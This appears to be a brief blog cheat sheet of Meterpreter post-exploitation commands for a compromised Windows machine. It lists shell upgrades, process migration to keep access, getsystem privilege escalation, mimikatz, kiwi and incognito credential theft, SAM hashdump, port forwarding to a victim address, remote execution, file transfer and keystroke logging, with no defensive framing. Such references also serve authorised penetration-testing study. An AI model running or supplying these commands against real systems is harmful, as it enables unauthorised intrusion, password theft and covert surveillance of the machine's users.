Upgrade a shell to a meterpreter shell
sessions -u $session_id
Caution: Maybe the buildtuple is the wrong architecture.
Show processes
ps
Show how long the user is not on his/her computer (try things which could pop up shells preferrefly after the system is idle for some time.)
idletime
Migrate into another process to make the connection independend from the original (reverse shell) process (If this doesn’t work, maybe the meterpreter shell is not suitable. Try to create a “real” meterpreter shell.)
run migrate -p $pid migrate $pid
Try to get system
getsystem
Try to get credentials, load mimikatz / kiwi
load mimikatz load kiwi load incognito
Create port forwarding of port 139 of the victim to 1390 local.
meterpreter > portfwd add -l 1390 -p 139 -r 10.11.1.50
Note: See also the route command in the Copy, routing,.. article.
- shell — the most usefull: Creates a full shell
- getsystem tries to get a root shell
- sysinfo — shows general info
- getuid — shows the system’s name
- run post/windows/gather/hashdump — dumps the SAM database
- search ‑f *file*.txt — searchs the whole file system for a file
- upload <local_file> <remote_file>
- download <remote_file> <local_file>
- execute ‑f cmd.exe ‑i ‑H — executes a command on the target
- help for anything else
- Keyboard logging:
- keyscan_start
- keyscan_dump
Leave a Reply
You must be logged in to post a comment.